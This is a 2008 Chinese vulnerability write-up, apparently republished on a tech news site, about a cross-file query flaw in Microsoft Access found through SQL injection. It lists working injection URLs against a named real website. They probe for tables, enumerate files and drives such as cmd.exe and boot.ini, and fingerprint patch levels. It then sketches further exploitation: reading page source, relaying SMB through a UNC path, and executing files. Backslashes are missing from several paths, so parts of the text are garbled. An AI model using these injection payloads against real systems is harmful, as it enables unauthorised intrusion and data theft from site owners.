科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道access数据库跨文件查询漏洞的初步报告

access数据库跨文件查询漏洞的初步报告

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

access数据库跨文件查询漏洞的初步报告

作者:王亮 2008年10月17日

关键字: Access Web安全

  • 评论
  • 分享微博
  • 分享邮件

  一. 在一次玩sql injection时无意发现了这个漏洞:

  1.访问http://www.lznet.net/news/displaynews.asp?id=24794'

  页面出错信息:

  Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

  [Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'id = 24794'' 中。

  /news/displaynews.asp,行133

  2.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 1=1

  页面正常

  3.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 1=2

  页面返回"找不到文件"

  这是典型的sql injection with access漏洞,接下来猜表名:

  4.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from news)

  页面出错:数据库引擎找不到输入表或查询 'news'

  5.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from admin)

  页面出错:数据库引擎找不到输入表或查询 'admin'

  6.突然想起了sql injection技术中得到的出错信息中表名格式为: news.id

  其中news为表名,id为表中的一个列名

  7.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from lznet.a)

  出错:找不到文件 'C:WINNTsystem32lznet.mdb'。

  8.试遍了web根目录以及所有知道的虚拟目录,都下载不到这个lznet.mdb,仔细一看原来是lznet.mdb这个文件名是自己定义的。但是,是什么原因泄露系统目录的物理路径呢?继续试试能不能查询c:winntsystem32下的cmd.exe文件.

  9.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from cmd.exe.a)

  这条语句格式是经过多次试验得到的:)

  出错:"数据库引擎打不开文件'C:WINNTsystem32CMD.EXE'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。 "

  分析以上出错信息,我想权限是有的,因为我们是基于asp的guest权限,默认cmd.exe是Everyone:R ,如果打不开那就是数据库不支持了,但是文件夹是可以被数据库访问,否则我们是搜索不到其中的文件的。

  10.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from c:cmd.exe.a)

  在这里我们可以看到跨目录查询是可行的

  出错:

  找不到文件 'c:cmd.exe'。

  11.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from c:oot.ini.a)

  注:boot.ini是win2000在系统盘根目录下的系统引导文件

  出错:

  据库引擎打不开文件'c:oot.ini'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。

  12.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from d:oot.ini.a)

  跨盘符查询也是可行的

  出错:

  找不到文件 'd:oot.ini'。

  13.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from i:oot.ini.a)

  出错:

  'i:oot.ini'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

  注:我们看到出错信息很老实的告诉了我们这个系统没有i盘,从侧面说access的出错信息在某些方面还是比较详细的。

  14.这是个比较实际的利用,如果对方是从spx打到spx,在winnt目录下就会有这些文件,我们可以通过这个漏洞查找这些文件,确定目录主机打补丁的情况:

  [$NtUninstallQ329553$] [$NtUninstallQ329834$]

  [$NtUninstallQ331953$] [$NtUninstallQ810833$]

  [$NtUninstallQ811114$] [$NtUninstallQ811493$]

  [$NtUninstallQ815021$] [$NtUninstallSP2SRP1$]

  ……………

  二.漏洞的利用设想:

  1.查询某个动态网页文件,利用查询语句获取动态网页的源代码,比如读取文件内容并把内容写入到表的一个列里,然后用len暴力猜列里的内容,从而得到源码。

  2.猜测目录的位置、文件名等等,了解对方的一点主机信息,比如说系统安装在哪个分区上,共有几个分区以及系统打的什么补丁等等。

  3.查询unc路径,如\1.1.1.1sharea.vbs,而\1.1.1.1运行着smbrelay,我们利用smb重定向技术有能会得到一个guest权限的ipc连接,这就有意思多了。

  4.查找敏感文件,比如*.cif,*.mdb等等,但是我没有实现在access上使用通配符查询文件,可能是因为我是数据库新手的问题。

  5.执行文件,可以的话就发财了.

  6.以上设想可能有理解错误正在验证中(你想到什么就告诉我吧)

  有关我对这个漏洞的理解:

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章